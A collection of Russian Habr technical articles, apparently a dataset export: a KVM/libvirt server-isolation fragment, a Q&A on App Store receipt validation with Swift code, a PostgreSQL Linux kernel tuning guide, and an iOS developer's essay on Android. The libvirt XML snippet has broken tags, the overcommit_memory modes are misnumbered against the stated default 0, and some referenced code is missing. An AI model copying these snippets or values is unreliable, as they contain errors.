Задача: на выделенном сервере максимально изолировать приложения и отделить от них БД. Для этого понадобятся две виртуальные машины (app1, db1). В дальнейшем другие приложения можно помещать в аналогичные app1 контейнеры.
На пакете DS3000 выдается один IP (1.1.1.1) и подсеть (2.2.2.0/29). Итого в сети имеем маску 255.255.255.248 и 6 адресов.
В документации hetzner-а предлагался вариант с созданием для каждого адреса своего бриджа, что позволило бы выдать все 6 адресов виртуальным машинам. Однако я ленив, и решил таки пожертвовать одним из адресов ради простоты реализации.
В Ubuntu для виртуализации используется KVM, и для управления виртуальными машинами я использовал рекомендуемый libvirt.
Для установки потребуется инсталляционный образ. Также стоит заранее подумать как будут расположены диски виртуальной машины — либо в файлах, либо это будут настоящие разделы диска, либо же это будут логические тома LVM-а. Я предпочел LVM, поскольку с его помощью можно легко сделать снапшот диска, увеличить либо уменьшить его.
Для начала я подправил и добавил виртуальные сети, которые предоставляет libvirt.
Поначалу доступна только сеть default (/etc/libvirt/qemu/networks/default.xml). После всех правок она у меня приняла следующий вид:
> `<network>
> <name>defaultname>
> <bridge name="virbr0" />
> <forward mode="nat"/>
> <ip address="192.168.122.1" netmask="255.255.255.0">
> <dhcp>
> <range start="192.168.122.2" end="192.168.122.254" />
> dhcp>
> ip>
> network>
>
> \* This source code was highlighted with Source Code Highlighter.` | https://habr.com/ru/post/104308/ | null | ru | null |
# То, что нужно знать о проверке чека App Store (App Store receipt)
В StackOverflow по-прежнему появляется много вопросов о валидации App Store чеков, поэтому мы решили написать статью на эту тему в формате вопросов и ответов.
Что представляет собой App Store чек?
-------------------------------------
Это зашифрованный файл в формате PKCS#7, который содержит в себе информацию обо всех покупках в приложении. Находится в бандле приложения и его можно легко получить, вызвав: `Bundle.main.appStoreReceiptURL`.
Всегда ли есть этот файл?
-------------------------
Если приложение было скачано из App Store, то да, всегда. А если было установлено через Xcode или Testflight, то первоначально у приложения sandbox-чек *отсутствует* до первой покупки или восстановления чека.
Что значит "провалидировать чек"?
---------------------------------
Это означает расшифровать файл, получить JSON дату и сверить совершенные пользователем покупки. Сделать это можно локально или отправив запрос в Apple.
В каких случаях разработчику требуется валидация чека?
------------------------------------------------------
**Для валидации только что совершенной покупки.**
Когда у многих был джейлбрейк это было актуально: существовали утилиты для подделки чека. Сейчас эта проблема перестала быть острой, потому что джейлбрейк стал редкостью.
**При восстановлении покупок.**
Если пользователь переустановил ваше приложение или запустил с другого устройства, вы должны предоставить ему доступ к функционалу, за который он уже заплатил. Расшифровав App Store чек, вы сможете выяснить, была ли приобретена встроенная покупка.
**При покупке авто-возобновляемых подписок.**
Для определения текущего статуса подписки и даты истечения.
Какие покупки можно восстановить при валидации?
-----------------------------------------------
Существует 4 вида встроенных покупок:
* расходуемые (consumable purchases),
* нерасходуемые (non-consumable purchases),
* невозобновляемые подписки (non-renewing subscriptions),
* авто-возобновляемые подписки (auto-renewable Subscriptions).
Восстановить можно все, кроме расходуемых покупок. К ним можно отнести, например, монетки в вашем приложении – что-то, что можно купить сколько угодно раз. Вы должны сами сохранять текущее количество монеток у пользователя на своем сервере.
Какие способы валидации существуют?
-----------------------------------
Их три:
* локальная валидация с использованием OpenSSL,
* валидация по запросу в Apple прямо с iOS устройства,
* валидация по запросу в Apple с использованием вашего сервера.
Какой способ валидации лучше?
-----------------------------
Локальная валидация сложна и требует много времени и усилий на реализацию. А еще вы должны будете добавить OpenSSL библиотеку в ваш проект. В некоторых случаях придется обновлять чек.
Apple не рекомендует проверять чеки на самом iOS-устройстве. Это небезопасно: запрос можно перехватить с помощью man-in-the-middle атаки.
Лучше всего валидировать чеки на сервере. Тем более, что Apple время от времени добавляет туда новые поля, например, `grace_period_expires_date` и `subscription_group_identifier`. На своем сервере мы сможете быстро вносить изменения без обновления приложения. А еще предыдущие два метода валидации можно легко обмануть, просто поменяв системное время на iOS устройстве.
Для чего нужен Shared Secret?
-----------------------------
Это специальная строка-ключ, которая необходима для расшифровки чеков с авто-возобновляемыми покупками. Apple использует Shared secret как параметр в HTTPS запросе к Apple.
Где взять Shared Secret?
------------------------
Перейдите в App Store Connect, откройте приложение, перейдите во вкладку *Функции*, в разделе *Встроенные покупки* увидите кнопку *Общий ключ для приложения*. Сгенерируйте новый ключ, если его еще нет.
Пример кода для валидации чека
------------------------------
```
func validateReceipt(){
#if DEBUG
let urlString = "https://sandbox.itunes.apple.com/verifyReceipt"
#else
let urlString = "https://buy.itunes.apple.com/verifyReceipt"
#endif
guard let receiptURL = Bundle.main.appStoreReceiptURL, let receiptString = try? Data(contentsOf: receiptURL).base64EncodedString() , let url = URL(string: urlString) else {
return
}
let requestData : [String : Any] = ["receipt-data" : receiptString,
"password" : "YOUR_SHARED_SECRET",
"exclude-old-transactions" : false]
let httpBody = try? JSONSerialization.data(withJSONObject: requestData, options: [])
var request = URLRequest(url: url)
request.httpMethod = "POST"
request.setValue("Application/json", forHTTPHeaderField: "Content-Type")
request.httpBody = httpBody
URLSession.shared.dataTask(with: request) { (data, response, error) in
// convert data to Dictionary and view purchases
}.resume()
}
```
Это пример валидации чека на iOS. Не забудьте заменить значение `YOUR_SHARED_SECRET` на ваш *shared secret*.
Получив `data`, сконвертируйте его в `Dictionary`:
```
DispatchQueue.main.async {
if let data = data, let jsonData = try? JSONSerialization.jsonObject(with: data, options: .allowFragments){
// your non-consumable and non-renewing subscription receipts are in `in_app` array
// your auto-renewable subscription receipts are in `latest_receipt_info` array
}
}
```
Пример расшифрованного App Store чека
-------------------------------------
[Здесь](https://gist.github.com/ren6/3da2d14ea629ab9add489c0e6df1917c) можно посмотреть пример чека с двумя транзакциями в приложении с авто-возобновляемой подпиской.
В чем отличия между `in_app` и `latest_receipt_info`?
-----------------------------------------------------
* `latest_receipt_info` содержит все транзакции, включая продления авто-возобновляемых покупок. Вам стоит использовать только этот массив.
* `in_app` содержит транзакции нерасходуемых покупок и невозобновляемых подписок. Еще здесь дублируется *первая* транзакция вашей авто-возобновляемой подписки. Расходуемые покупки тоже появятся в массиве `in_app`, но потом исчезнут, когда разработчик завершит транзакцию.
Заключение
----------
Мы в [Apphud](https://apphud.com/h) реализовали валидацию App Store чеков для приложений с авто-возобновляемыми подписками в удобном open-source SDK. А еще [Apphud](https://apphud.com/h) помогает отслеживать статус подписки, анализировать ключевые метрики, автоматически предлагать скидки отписавшимся пользователям и многое другое. Если при работе с подписками вы испытываете боль, попробуйте [наше решение](https://apphud.com/h) бесплатно. | https://habr.com/ru/post/472188/ | null | ru | null |
# Настройка параметров ядра Linux для оптимизации PostgreSQL
 Оптимальная производительность PostgreSQL зависит от правильно определенных параметров операционной системы. Плохо настроенные параметры ядра ОС могут привести к снижению производительности сервера базы данных. Поэтому обязательно, чтобы эти параметры были настроены в соответствии с сервером базы данных и его рабочей нагрузкой. В этом посте мы обсудим некоторые важные параметры ядра Linux, которые могут повлиять на производительность сервера базы данных и способы их настройки.
SHMMAX / SHMALL
---------------
**SHMMAX** — это параметр ядра, используемый для определения максимального размера одного сегмента разделяемой памяти (shared memory), который может выделить процесс Linux. До версии 9.2 PostgreSQL использовал System V (SysV), для которой требуется настройка SHMMAX. После 9.2 PostgreSQL переключился на разделяемую память POSIX. Так что теперь требуется меньше байтов разделяемой памяти System V.
До версии 9.3 SHMMAX был наиболее важным параметром ядра. Значение SHMMAX задается в байтах.
Аналогично, **SHMALL** — это еще один параметр ядра, используемый для определения
общесистемного объема страниц разделяемой памяти (shared memory). Чтобы просмотреть текущие значения SHMMAX, SHMALL или SHMMIN, используйте команду *ipcs*.
**SHM\* Details — Linux**
```
$ ipcs -lm
------ Shared Memory Limits --------
max number of segments = 4096
max seg size (kbytes) = 1073741824
max total shared memory (kbytes) = 17179869184
min seg size (bytes) = 1
```
**SHM\* Details — MacOS X**
```
$ ipcs -M
IPC status from as of Thu Aug 16 22:20:35 PKT 2018
shminfo:
shmmax: 16777216 (max shared memory segment size)
shmmin: 1 (min shared memory segment size)
shmmni: 32 (max number of shared memory identifiers)
shmseg: 8 (max shared memory segments per process)
shmall: 1024 (max amount of shared memory in pages)
```
PostgreSQL использует **System V IPC** для выделения разделяемой памяти. Этот параметр является одним из наиболее важных параметров ядра. Всякий раз, когда вы получаете следующие сообщения об ошибках, это означает, что у вас более старая версия PostgreSQL и у вас очень низкое значение SHMMAX. Ожидается, что пользователи будут корректировать и увеличивать значение в соответствии с разделяемой памятью, которую они собираются использовать.
### Возможные ошибки неправильной конфигурации
Если SHMMAX настроен неправильно, вы можете получить ошибку при попытке инициализировать кластер PostgreSQL с помощью команды *initdb*.
**initdb Failure**
`DETAIL: Failed system call was shmget(key=1, size=2072576, 03600).
HINT: This error usually means that PostgreSQL's request for a shared memory segment exceeded your kernel's SHMMAX parameter.
You can either reduce the request size or reconfigure the kernel with larger SHMMAX. To reduce the request size (currently 2072576 bytes),
reduce PostgreSQL's shared memory usage, perhaps by reducing shared_buffers or max_connections.
If the request size is already small, it's possible that it is less than your kernel's SHMMIN parameter,
in which case raising the request size or reconfiguring SHMMIN is called for.
The PostgreSQL documentation contains more information about shared memory configuration. child process exited with exit code 1`
Аналогично, вы можете получить ошибку при запуске сервера PostgreSQL используя команду *pg\_ctl*.
**pg\_ctl Failure**
`DETAIL: Failed system call was shmget(key=5432001, size=14385152, 03600).
HINT: This error usually means that PostgreSQL's request for a shared memory segment exceeded your kernel's SHMMAX parameter.
You can either reduce the request size or reconfigure the kernel with larger SHMMAX.; To reduce the request size (currently 14385152 bytes), reduce PostgreSQL's shared memory usage, perhaps by reducing shared_buffers or max_connections.
If the request size is already small, it's possible that it is less than your kernel's SHMMIN parameter,
in which case raising the request size or reconfiguring SHMMIN is called for.
The PostgreSQL documentation contains more information about shared memory configuration.`
### Понимание различий в определениях
Определение параметров SHMMAX/SHMALL немного отличается в Linux и MacOS X:
* Linux: kernel.shmmax, kernel.shmall
* MacOS X: kern.sysv.shmmax, kern.sysv.shmall
Команда *sysctl* может быть использована для временного изменения значения. Чтобы установить постоянные значения, добавьте запись в */etc/sysctl.conf*. Подробности приведены ниже.
**Изменение параметров ядра на MacOS X**
```
# Get the value of SHMMAX
sudo sysctl kern.sysv.shmmax
kern.sysv.shmmax: 4096
# Get the value of SHMALL
sudo sysctl kern.sysv.shmall
kern.sysv.shmall: 4096
# Set the value of SHMMAX
sudo sysctl -w kern.sysv.shmmax=16777216
kern.sysv.shmmax: 4096 -> 16777216
# Set the value of SHMALL
sudo sysctl -w kern.sysv.shmall=16777216
kern.sysv.shmall: 4096 -> 16777216
```
**Изменение параметров ядра на Linux**
```
# Get the value of SHMMAX
sudo sysctl kernel.shmmax
kernel.shmmax: 4096
# Get the value of SHMALL
sudo sysctl kernel.shmall
kernel.shmall: 4096
# Set the value of SHMMAX
sudo sysctl -w kernel.shmmax=16777216
kernel.shmmax: 4096 -> 16777216
# Set the value of SHMALL
sudo sysctl -w kernel.shmall=16777216
kernel.shmall: 4096 -> 16777216
```
**Не забудьте**: чтобы сделать изменения постоянными, добавьте эти значения в /etc/sysctl.conf
Большие страницы (Huge Pages)
-----------------------------
В Linux по умолчанию используются страницы памяти 4 КБ, в BSD — *Super Pages*, а в Windows — *Large Pages*. Страница — это часть оперативной памяти, выделенная процессу. Процесс может иметь несколько страниц в зависимости от требований к памяти. Чем больше памяти требуется процессу, тем больше страниц ему выделено. ОС поддерживает таблицу выделения страниц для процессов. Чем меньше размер страницы, тем больше таблица, тем больше времени требуется для поиска страницы в этой таблице страниц. Поэтому большие страницы позволяют использовать большой объем памяти с уменьшенными накладными расходами; меньше просмотров страниц, меньше ошибок страниц, более быстрые операции чтения/записи через большие буферы. Как результат — улучшение производительности.
PostgreSQL поддерживает большие страницы только в Linux. По умолчанию Linux использует 4 КБ страниц памяти, поэтому в случаях, когда операций с памятью слишком много, необходимо устанавливать страницы большего размера. Наблюдается прирост производительности при использовании больших страниц размером 2 МБ и до 1 ГБ. Размер большой страницы может быть установлен во время загрузки. Вы можете легко проверить параметры большой страницы и их использование на вашем Linux-компьютере, используя команду *cat /proc/meminfo | grep -i huge*.
**Получение информации о больших страницах (только на Linux)**
```
Note: This is only for Linux, for other OS this operation is ignored$ cat /proc/meminfo | grep -i huge
AnonHugePages: 0 kB
ShmemHugePages: 0 kB
HugePages_Total: 0
HugePages_Free: 0
HugePages_Rsvd: 0
HugePages_Surp: 0
Hugepagesize: 2048 kB
```
В этом примере, хотя размер большой страницы установлен в 2048 (2 МБ), общее количество больших страниц имеет значение 0. Это означает, что большие страницы отключены.
### Скрипт определения количества больших страниц
Это простой скрипт возвращает необходимое количество больших страниц. Запустите скрипт на вашем сервере Linux, пока работает PostgreSQL. Убедитесь, что для переменной среды *$PGDATA* задан каталог данных PostgreSQL.
**Получение цифры требуемых больших страниц**
```
#!/bin/bash
pid=`head -1 $PGDATA/postmaster.pid`
echo "Pid: $pid"
peak=`grep ^VmPeak /proc/$pid/status | awk '{ print $2 }'`
echo "VmPeak: $peak kB"
hps=`grep ^Hugepagesize /proc/meminfo | awk '{ print $2 }'`
echo "Hugepagesize: $hps kB"
hp=$((peak/hps))
echo Set Huge Pages: $hp
```
Вывод скрипта выглядит следующим образом:
**Вывод скрипта**
```
Pid: 12737
VmPeak: 180932 kB
Hugepagesize: 2048 kB
Set Huge Pages: 88
```
Рекомендуемое значение больших страниц — 88, поэтому вы должны установить значение 88.
**Установка больших страниц**
```
sysctl -w vm.nr_hugepages=88
```
Проверьте большие страницы сейчас, вы увидите, что большие страницы не используются (HugePages\_Free = HugePages\_Total).
**Снова информация о больших страницах (только на Linux)**
```
$ cat /proc/meminfo | grep -i huge
AnonHugePages: 0 kB
ShmemHugePages: 0 kB
HugePages_Total: 88
HugePages_Free: 88
HugePages_Rsvd: 0
HugePages_Surp: 0
Hugepagesize: 2048 kB
```
Теперь задайте параметр huge\_pages «on» в $PGDATA/postgresql.conf и перезапустите сервер.
**И снова информация о больших страницах (только на Linux)**
```
$ cat /proc/meminfo | grep -i huge
AnonHugePages: 0 kB
ShmemHugePages: 0 kB
HugePages_Total: 88
HugePages_Free: 81
HugePages_Rsvd: 64
HugePages_Surp: 0
Hugepagesize: 2048 kB
```
Теперь вы можете видеть, что используются очень мало больших страниц. Давайте теперь попробуем добавить некоторые данные в базу данных.
**Некоторые операции с базой данных для утилизации больших страниц**
```
postgres=# CREATE TABLE foo(a INTEGER);
CREATE TABLE
postgres=# INSERT INTO foo VALUES(generate_Series(1,10000000));
INSERT 0 10000000
```
Давайте посмотрим, используем ли мы сейчас больше больших страниц, чем раньше.
**Еще раз информация о больших страницах (только на Linux)**
```
$ cat /proc/meminfo | grep -i huge
AnonHugePages: 0 kB
ShmemHugePages: 0 kB
HugePages_Total: 88
HugePages_Free: 18
HugePages_Rsvd: 1
HugePages_Surp: 0
Hugepagesize: 2048 kB
```
Теперь вы можете видеть, что большинство больших страниц используется.
Примечание: примерное значение для HugePages, используемое здесь, очень низкое, что не является нормальным значением для машины на продуктовой среде. Пожалуйста, оцените необходимое количество страниц для вашей системы и установите их соответственно в зависимости от нагрузки и ресурсов.
### vm.swappiness
**vm.swappiness** — это еще один параметр ядра, который может влиять на производительность базы данных. Этот параметр используется для управления поведением подкачки (swappiness) (подкачки страниц в память и из нее) в Linux. Значение варьируется от 0 до 100. Он определяет, сколько памяти будет выгружено или выгружено. Ноль означает отключение обмена, а 100 означает агрессивный обмен.
Вы можете получить хорошую производительность, установив более низкие значения.
Установка значения 0 в более новых ядрах может привести к тому, что OOM Killer (процесс очистки памяти в Linux) убьет процесс. Таким образом, можно безопасно установить значение 1, если хотите минимизировать подкачку. Значение по умолчанию в Linux — 60. Более высокое значение заставляет MMU (блок управления памятью) использовать больше пространства подкачки, чем ОЗУ, тогда как более низкое значение сохраняет больше данных/кода в памяти.
Меньшее значение — хорошая ставка на улучшение производительности в PostgreSQL.
### vm.overcommit\_memory / vm.overcommit\_ratio
Приложения получают память и освобождают ее, когда она больше не нужна. Но в некоторых случаях приложение получает слишком много памяти и не освобождает ее. Это может вызвать OOM killer. Вот возможные значения параметра **vm.overcommit\_memory** с описанием для каждого:
1. Эвристический overcommit (по умолчанию); основанная на ядре эвристика
2. Разрешить overcommit в любом случае
3. Не переусердствуйте, не превышайте overcommit коэффициент.
*Ссылка: <https://www.kernel.org/doc/Documentation/vm/overcommit-accounting>*
**vm.overcommit\_ratio** — процент оперативной памяти, доступной для чрезмерной загрузки. Значение 50% в системе с 2 ГБ ОЗУ может выделять до 3 ГБ ОЗУ.
Значение 2 для vm.overcommit\_memory обеспечивает лучшую производительность для PostgreSQL. Это значение максимизирует использование оперативной памяти серверным процессом без какого-либо значительного риска быть убитым процессом OOM killer. Приложение сможет перезагружаться, но только в пределах перерасхода, что снижает риск того, что OOM killer убьет процесс. Следовательно, значение 2 дает лучшую производительность, чем значение по умолчанию 0. Тем не менее, надежность может быть улучшена за счет того, что память за пределами допустимого диапазона не будет перегружена. Это исключает риск того, что процесс будет убит OOM-killer.
В системах без подкачки может возникнуть проблема с vm.overcommit\_memory равным 2.
<https://www.postgresql.org/docs/current/static/kernel-resources.html#LINUX-MEMORY-OVERCOMMIT>
### vm.dirty\_background\_ratio / vm.dirty\_background\_bytes
**vm.dirty\_background\_ratio** — это процент памяти, заполненной грязными страницами, которые необходимо записать на диск. Сброс на диск производится в фоновом режиме. Значение этого параметра колеблется от 0 до 100; однако значение ниже 5 может быть неэффективным, и некоторые ядра его не поддерживают. 10 — значение по умолчанию в большинстве систем Linux. Вы можете повысить производительность для операций с интенсивной записью с меньшим коэффициентом, который будет означать, что Linux будет сбрасывать грязные страницы в фоновом режиме.
Вам нужно установить значение **vm.dirty\_background\_bytes** в зависимости от скорости вашего диска.
Для этих двух параметров нет «хороших» значений, так как оба зависят от аппаратного обеспечения. Однако установка vm.dirty\_background\_ratio в значение 5 и vm.dirty\_background\_bytes в 25% от скорости диска, повышает производительность до ~ 25% в большинстве случаев.
### vm.dirty\_ratio / dirty\_bytes
Это то же самое, что **vm.dirty\_background\_ratio / dirty\_background\_bytes**, за исключением того, что сброс выполняется в рабочем сеансе, блокируя приложение. Поэтому vm.dirty\_ratio должно быть выше, чем **vm.dirty\_background\_ratio**. Это гарантирует, что фоновые процессы будут запускаться раньше, чтобы избежать максимально возможной блокировки приложения. Вы можете настроить разницу между этими двумя соотношениями в зависимости от загрузки дискового ввода-вывода.
Итог
----
Вы можете настроить другие параметры для увеличения производительности, но улучшения будут минимальными и выгоды особой не получите. Мы должны помнить, что не все параметры относятся ко всем типам приложений. Некоторые приложения работают лучше, когда мы настраиваем некоторые параметры, а некоторые — нет. Вы должны найти правильный баланс между конфигурациями этих параметров для ожидаемой рабочей нагрузки и типа приложения, а также при настройке необходимо учитывать поведение ОС. Настроить параметры ядра не так просто, как настроить параметры базы данных: здесь сложнее давать свои рекомендации. | https://habr.com/ru/post/458860/ | null | ru | null |
# iOs-разработчик берется за Android
Недавно мы выпустили [Android-версию](https://market.android.com/details?id=meridian.app) для нашей платформы для создания приложений, использующих определение местоположения — [Meridian](http://www.meridianapps.com/).
Не став использовать один из кросс-платформенных инструментов, подобных [Titanium](http://www.appcelerator.com/), мы написали ее с нуля на Java.
Мы решили, что важно сохранить родной материал родным и максимально уважать особенности каждой платформы. Некоторым таким особенностям легко следовать, например, добавлению верхних закладок в окно интерфейса. Другие свойственны только для Android, например: обработка `Intents`, завершение работы старых `Activities`, реализация `Search Providers`, а также строгость к ссылкам с целью помощи сборщику мусора.
Теперь наша платформа использует HTML5 для брендинга и отображения контента, отсюда мы получили большую часть интерфейса совершенно бесплатно. Но множество кода, написанного на Objective-C, потребовалось перевести в Java, например: навигацию по карте, направление, и изменение местоположения.
Итак, мы засучили рукава, установили Android SDK и принялись за работу.
Среда разработки
----------------
Apple дала возможность легко разрабатывать приложения под iOS. Конечно, шаг первый — это «Купить Mac». Легко! Теперь загрузите бесплатную версию Installer Xcode из Mac App Store App Store и начинайте писать код.
Android работает немного сложней. Вы легко можете [скачать SDK](http://developer.android.com/sdk/index.html), но на деле вам нужно будет сначала установить [Eclipse](http://www.eclipse.org/) и скачать Google’s [ADT Plugin](http://developer.android.com/sdk/eclipse-adt.html).
Если вы хотите потерять около недели даже не начав работать, то у вас есть отличный шанс изучить возможность написания Java-кода в Eclipse. Вы также можете скачать или [Netbeans](http://netbeans.org/), или [Scala](http://www.scala-lang.org/), или же, наконец, начать изучать [VIM](http://www.vim.org/).
Но давайте предположим, что сроки поджимают и вы хотите сделать это так, как одобряет Google. Первое, что вы должны сделать, это принять Eclipse таким какой он есть.
Скорее всего, вы возненавидите Eclipse с невиданной силой. Он покажется вам медленным, громоздким и далеким от того, что вы привыкли называть IDE.
Eclipse — это мир в себе. Это IDE до последних мелочей, что влечет за собой определенные последствия. Eclipse имеет множество абстрактно звучащих концепций, к которым вам придется привыкнуть так или иначе. Существуют Workspace, Perspectives и Run Configurations. А сам по себе Eclipse представляет лишь оболочку, в которой все основные функциональные возможности обеспечиваются через сложное взаимодействие взаимозависимых плагинов. Этим он напоминает Linux.
Конечно, необычность IDE не чужда Eclipse; Xcode был также чертовски необычен сперва и он становился все более *мета* с каждым релизом (схемы, кто-нибудь?).
Преимуществом является то, что после акклиматизации к Eclipse вы сможете насладиться некоторыми серьезными чудесами: повышением производительности авто-завершения кода, рефакторингом и автоматическими исправлениями. Проще говоря, он будет писать код за вас...
Отличный способ научиться пользоваться Eclipse, это потратить несколько часов, и я буду смертельно серьезен, настраивая сотни опций, чекбоксов, флажков и всяких других кропотливых вещей в Preferences.
Опять же, если серьезно, то я почувствовал себя более комфортно, знакомо и счастливо с Eclipse, после того, как разобрался с ним описанным способом. Означает ли это, что другие программы должны предоставлять все возможности, которые только можно себе представить? Господи, нет. Вы с ума сошли?
Язык Java
---------
Java — это язык программирования высокого уровня. Бесполезно иметь свое мнение на этот счет. Вместо этого лучше рассмотрим, как Android *использует* Java.
[Это](http://developer.android.com/reference/android/os/AsyncTask.html) то, как вы что-то делаете в фоновом потоке. А [это](http://developer.android.com/guide/topics/ui/ui-events.html), как подписываетесь на события (в действительности это похоже на `delegate` в ObjC). [Это](http://developer.android.com/reference/android/app/Activity.html#ActivityLifecycle) объяснение жизненного цикла `Activities`, которое выглядит как `UIViewControllers` в Cocoa.
В целом, Android framework очень хорошо спроектирован, не противоречив и гармонично работает с Java. В основе очень похоже, что наши приложения имеют почти одинаковых структуру классов как на Android, так и на iOs.
В конце работы код был поразительно схож с Android. Вот фрагмент из нашего ObjC приложения, которое рисует стрелки.
Бред, правда? Множество наших исходников подобны этому.
Отладка
-------
Теперь, когда вы написали какой-то код, вы захотите запустить его. В мире Apple у нас есть iOs-симулятор.
Он называется Simulator, потому что он притворяется (ха!). Это не настоящая OS iPhone. При запуске приложения «в симуляторе» Xcode компилирует приложение в настольное и запускает в исходном формате на вашем Маке. Если вы посмотрите в Activity Monitor, то увидите, что приложение работает наряду с Mail, iCal и iTunes.
Недостаток Simulator в том, что он в точности не может имитировать среду iOs. И ваш код тоже не такой, он должен быть скомпилирован для x86/64 вместо ARM, поэтому нет никакой гарантии, что все будет работать также, как и на iOs устройстве.
Преимущество симулятора в том, что он не эмулятор. А что же такое эмулятор?
Заметьте, Android-эмулятор. Его цель благородна: запуск вашего приложения в полной и неизмененной Android OS, в виртуальной машине, которая выполняет ARM инструкции.
Какое же основное качество Android-эмулятора?
Когда я впервые услышал об iPhone Simulator я подумал, что он просто ужасен, до тех пор, пока не вспомнил, что мы сделали точно такую же программу для Windows Mobile день назад и он был просто чертовски медленным.
Эмулятору Android требуется ~ 2 минуты для загрузки на моем современном устройстве. Но что действительно расстраивает, так это цикл редактирования/отладки. Каждый раз, когда я немного изменял Java-код и хотел вернуться в приложение, мне требовалось около 30 секунд, чтобы заново запустить приложение в эмуляторе. Сравните это с 5 секундами на iOs-симуляторе. Это может и не звучит значительно, но подумайте, что вы будете делать это сотни раз в течение дня.
К счастью, оказывается, что гораздо быстрее установить и загрузить ваше приложение на физическое устройство через USB. Так что поверьте, просто идите и [покупайте телефон с Android](http://stackoverflow.com/questions/1968170/can-i-tweak-my-android-emulator-to-make-it-fast). А еще лучше купить их несколько, чтобы не иметь проблем с [фрагментацией](http://stackoverflow.com/questions/2539074/which-android-phone-to-use-for-development).
Не то чтобы фрагментация являлась уникальной у Android, она просто преувеличенна в средствах массовой информации. В нашей iOs лаборатории нам также требуется несколько устройств. Одно крошечное и неожиданное различие в OS или устройстве может вызвать падение приложения на любой платформе.
Инструменты разработки интерфейса
---------------------------------
Для размещения виджетов на iOs существует Interface Builder.
Ваш опыт работы с Interface Builder может отличаться от моего, но я научился использовать его очень экономно. Он хорош, когда ты хочешь расположить элементы статически с хорошей точностью. Но для динамического контента, особенно `UITableViews`, он стремится сделать все сложнее, чем было бы в коде. Особенно, когда вы вернетесь через некоторое время и забудете все небольшие зависимости между `Controller` и вашим `XIB`.
На Android можно создавать пользовательский интерфейс и оформление в формате XML.
Он немного напоминает HTML, за исключением того, что это не HTML. Это простая система стилизации, которая вроде как CSS, за исключением того, что она не CSS.
Многие разработчики из лучших побуждений пытались заново изобрести HTML и CSS на протяжении многих лет. Mozilla создала [XUL](https://developer.mozilla.org/En/XUL) для кроссплатформенного интерфейса в Firefox. Adobe создала [MXML](http://learn.adobe.com/wiki/display/Flex/MXML) для Flash. Microsoft создала [XAML](http://msdn.microsoft.com/en-us/library/ms752059.aspx) для Windows.
Когда у меня было слишком много свободного времени я создал свое собственное XML-оформление системы для Flash под названием Bent. Так что я могу вам сказать, что изобретение этих систем является самым забавным из того, что вы можете сделать будучи разработчиком. Такое чувство, что когда вы создадите Одну Единственную Платформу, как только завершите ее, все будут готовы её использовать, изучать и разрабатывать с ней, не будут отходить от вас ни на шаг и даже будут сочинят эпические поэмы о том, какой вы гений!
Но реальность такова, что это не HTML и CSS, а еще один толстый слой материала, который вы должны узнать и понять, и бороться с тем, что иногда он не работает так как вы этого хотите.
С положительной точки зрения вы можете просмотреть XML во время разработки в визуальном редакторе, похожем на Interface Builder:
Он довольно обширный.
Теперь, технически вы можете написать все в Java, также как в iOs вы можете отказаться от Interface Builder полностью и писать только на Objective-C. Но вы узнаете, что когда вы найдете в Интернете, как сделать что-то на Android, то в конечном счете вам придется понять все эти XML-форматы в любом случае, хотя бы для того, чтобы понять примеры кода на веб-сайте.
Но это не так уж и плохо, потому что у вас также появится ...
Real Box Model
--------------
Вот список пунктов в iOs, который отображает результаты поиска.
И вот только фрагмент ObjC, который отрисовывает этот пункт:
Поговорим о наболевшем. Вы конечно же, можете создать первоначальное оформление в Interface Builder, но тогда вам придется попросту попрощаться с [удобной и плавной прокруткой](http://blog.atebits.com/2008/12/fast-scrolling-in-tweetie-with-uitableview/). Может быть, в будущем, когда iOs-устройства станут чертовски быстрыми.
Как люди, мы обычно не думаем, что «Название должно быть расположен на 30 — 40 пикселей, с максимальной высотой 35 пикселей». Вместо этого мы думаем «Название должно быть выше субтитров, а также справа от изображения, и иметь не более 2 строк».
У Android есть система контейнеров разметок (похожих на HTML), которая позволяют описать, где должно располагаться содержимое относительно чего-либо. Вот аналогичный фрагмент из того же результата поиска в Android:
Теперь вам придется выучить все эти типы разметок, такие как `FrameLayout`, `LinearLayout`, `RelativeLayout`, и выучить все их индивидуальные особенности, но в конце вы получите очень естественную и гибкую систему разметок UI.
Лучшая часть, что не требуется никаких усилий для того, чтобы автоматически изменять размер для портретной/ландшафтной ориентации устройства и различных размеров экрана. Это большой контраст по сравнению с абсолютно примитивной [springs and struts](http://developer.apple.com/library/ios/documentation/WindowsViews/Conceptual/ViewPG_iPhoneOS/CreatingViews/CreatingViews.html#//apple_ref/doc/uid/TP40009503-CH5-SW5) системой в Cocoa/iOS.
Но вот нюанс об упрощенном оформлении системы в iOs, над которым я насмехался, оказался разумным копромисом, когда я рассмотрел...
Анимация
--------
О чем следует подумать в Android, так это о том, что обычно он выглядит именно так:
Он был задуман и разработан в дни Blackberry, Windows Mobile и преддверии iPhone. Влияние этих платформ очень глубоко вошло в Android OS.
Например. Система отображения, то есть способ, посредством которого UI виджеты, такие как меню, кнопки и т.д. нарисованные на экране, в основном реализован программно.
Что это значит? Давайте посмотрим на скриншот выше в качестве примера. Если вы нажмете кнопку Вниз, вы ждете, что запись «Homepage» будет выбрана вместо «Go to». Итак, вы нажимаете Вниз. Это вызывает «invalidate», что означает «пожалуйста, перерисуй экран». Таким образом, экран будет очищен, затем:
1. ОС обновляет строку состояния наверху;
2. WebView перерисовывает сайт Google.com;
3. Меню отрисовывает полупрозрачный черный фон и границы;
4. Все меню и текст отрисовываются;
5. Синяя градиентная подсветка отрисовывается над «Homepage».
Все это происходит очень быстро и вы видите только конечный результат, так что может показаться, как будто лишь несколько пикселей было изменено, но на самом деле весь экран должен быть пересмотрен и перерисован.
Если это звучит вам знакомо, так это потому, что это основной метод, используемый в [GDI](http://en.wikipedia.org/wiki/Graphics_Device_Interface), системе отображения, представленной в Microsoft Windows 1.0. Это звучит убийственно, но на самом деле большинство GUI управлялись подобным образом.
До тех пор, пока не появился iPhone...
Когда вы используете iPhone и играете в ускоренные аппаратно 3D-игры, вы знаете, что в 3D все сделано из сотни маленьких треугольников.
Когда вы резко перемещаетесь по списку друзей в приложении Contacts, вы заставляете треугольники передвигаться. И здесь также существует «камера», как и в 3D-шутере, но это камера зафиксирована над виртуальной поверхностью приложения Contacts и поэтому кажется, что приложение 2D.
